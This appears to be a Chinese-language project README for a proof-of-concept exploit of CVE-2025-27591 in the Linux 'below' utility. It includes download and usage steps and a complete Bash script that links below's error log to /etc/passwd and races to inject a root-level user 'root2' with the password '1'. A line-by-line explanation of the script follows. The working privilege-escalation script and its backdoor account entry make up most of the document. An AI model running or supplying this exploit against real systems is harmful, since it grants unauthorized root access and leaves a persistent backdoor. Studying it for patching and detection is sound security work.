CVE-2025-27591 Exploit - Below权限提升漏洞利用
项目描述
本项目是一个针对CVE-2025-27591漏洞的概念验证(PoC)利用脚本,旨在演示Linux系统中below实用工具存在的权限提升漏洞。该漏洞源于below对/var/log/below/目录下日志文件的错误处理机制,攻击者可以将日志文件替换为指向敏感系统文件(如/etc/passwd)的符号链接。通过利用此漏洞,非特权用户能够向密码文件中注入新的root级别用户,从而获得系统管理员权限。
功能特性
- 自动化利用流程:脚本自动执行从备份到提权的完整攻击链
- 安全备份机制:在执行前自动备份原始
/etc/passwd文件,降低操作风险 - 多重尝试策略:采用循环尝试机制(最多80次),提高在竞争条件下的成功率
- 自动清理与恢复:如果利用失败,自动恢复原始密码文件
- 实时状态反馈:提供详细的执行进度和状态信息
- 权限验证:自动检测是否成功创建恶意用户
安装指南
前提条件
- 目标系统上安装了存在漏洞的
below实用工具 - 具有执行sudo命令的权限(无需root密码)
- Bash shell环境
/var/log/below/目录存在且可写入
系统要求
- Linux操作系统
below工具版本受CVE-2025-27591影响- 基本的系统工具(cp, ln, kill, getent等)
安装步骤
-
下载脚本
wget https://raw.githubusercontent.com/your-repo/below-log-race-poc/main/exploit_CVE-2025-27591.sh -
授予执行权限
chmod +x exploit_CVE-2025-27591.sh -
验证依赖 确保系统已安装以下工具:
sudobelow(位于/usr/bin/below)- 标准Linux核心工具
使用说明
基本用法
./exploit_CVE-2025-27591.sh
成功后的操作
如果脚本执行成功,将看到以下提示:
[+] Successfully added root2 on attempt X
[*] You can now switch user with: su - root2 (password: 1)
然后可以使用以下命令切换到新创建的root用户:
su - root2
密码为:1
典型使用场景
- 安全研究:用于教育和研究目的,了解竞争条件漏洞的利用方法
- 渗透测试:在授权测试中验证系统漏洞
- 安全评估:评估系统对符号链接攻击的防御能力
工作原理
- 创建原始
/etc/passwd的备份 - 将
/var/log/below/error_root.log符号链接到/etc/passwd - 启动
below进程触发日志访问 - 在文件锁定时尝试向
/etc/passwd写入新的用户条目 - 重复尝试直到成功或达到最大尝试次数
退出状态码
0:利用成功,已创建root2用户1:利用失败,已恢复原始文件
核心代码
主要漏洞利用逻辑
#!/bin/bash
# Exploit script for CVE-2025-27591 leveraging 'below' log handling
# This script attempts to gain root by injecting a fake user into /etc/passwd
set -euo pipefail
# Payload user line (password = "1")
USER_LINE='root2:aacFCuAIHhrCM:0:0:,,,:/root:/bin/bash'
# Target file (symlink to /etc/passwd via vulnerable log mechanism)
TARGET='/var/log/below/error_root.log'
# Backup original /etc/passwd just in case
BACKUP="/tmp/passwd.bak_$(date +%s)"
echo "[i] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP" || true
echo "[i] Planting symlink to /etc/passwd"
sudo rm -f "$TARGET" 2>/dev/null || true
ln -sf /etc/passwd "$TARGET"
ls -l "$TARGET" || true
# Attempt multiple times, as timing can be tricky
for attempt in $(seq 1 80); do
# Run vulnerable binary in background to trigger log access
setsid sudo -n /usr/bin/below live >/dev/null 2>&1 < /dev/null &
BLPID=$!
sleep 0.2
# Try to inject the malicious user line into /etc/passwd
printf '\n%s\n' "$USER_LINE" >> "$TARGET" 2>/dev/null || true
sleep 0.1
# Kill the background process to free the file
kill "$BLPID" 2>/dev/null || true
# Check if the user was successfully created
if getent passwd root2 >/dev/null; then
echo "[+] Successfully added root2 on attempt $attempt"
getent passwd root2
echo "[*] You can now switch user with: su - root2 (password: 1)"
exit 0
fi
done
# If all attempts failed, restore the original passwd file
echo "[-] Exploit failed. Restoring backup..."
cp "$BACKUP" /etc/passwd
exit 1
代码注释说明
- 安全设置:
set -euo pipefail确保脚本在出错时立即退出,提高安全性 - 用户注入:
USER_LINE变量包含要注入的root用户信息,其中哈希对应密码"1" - 目标选择:
TARGET指向漏洞利用的日志文件路径 - 备份机制:使用时间戳创建唯一的备份文件名,防止覆盖
- 符号链接创建:通过
ln -sf强制创建符号链接,指向敏感的/etc/passwd文件 - 竞争条件利用:循环80次尝试,每次启动
below进程并尝试写入目标文件 - 进程管理:使用
setsid和后台进程确保below独立运行 - 结果验证:通过
getent命令验证用户是否成功创建 - 清理恢复:失败时自动恢复原始
/etc/passwd文件
恶意用户条目解析
# 格式:username:password_hash:UID:GID:comment:home_dir:shell
# root2 - 新用户名
# aacFCuAIHhrCM - 对应密码"1"的DES加密哈希
# 0:0 - UID和GID均为0(root权限)
# /root - 主目录
# /bin/bash - 默认shell
USER_LINE='root2:aacFCuAIHhrCM:0:0:,,,:/root:/bin/bash'
此脚本演示了如何利用文件系统竞争条件和符号链接攻击来提升权限,是一个典型的安全漏洞利用案例。请仅在授权的测试环境中使用。 6HFtX5dABrKlqXeO5PUv/1r8nWCmBn5jGX8muYeejmahjr0tIIS/kl3v0upuppg6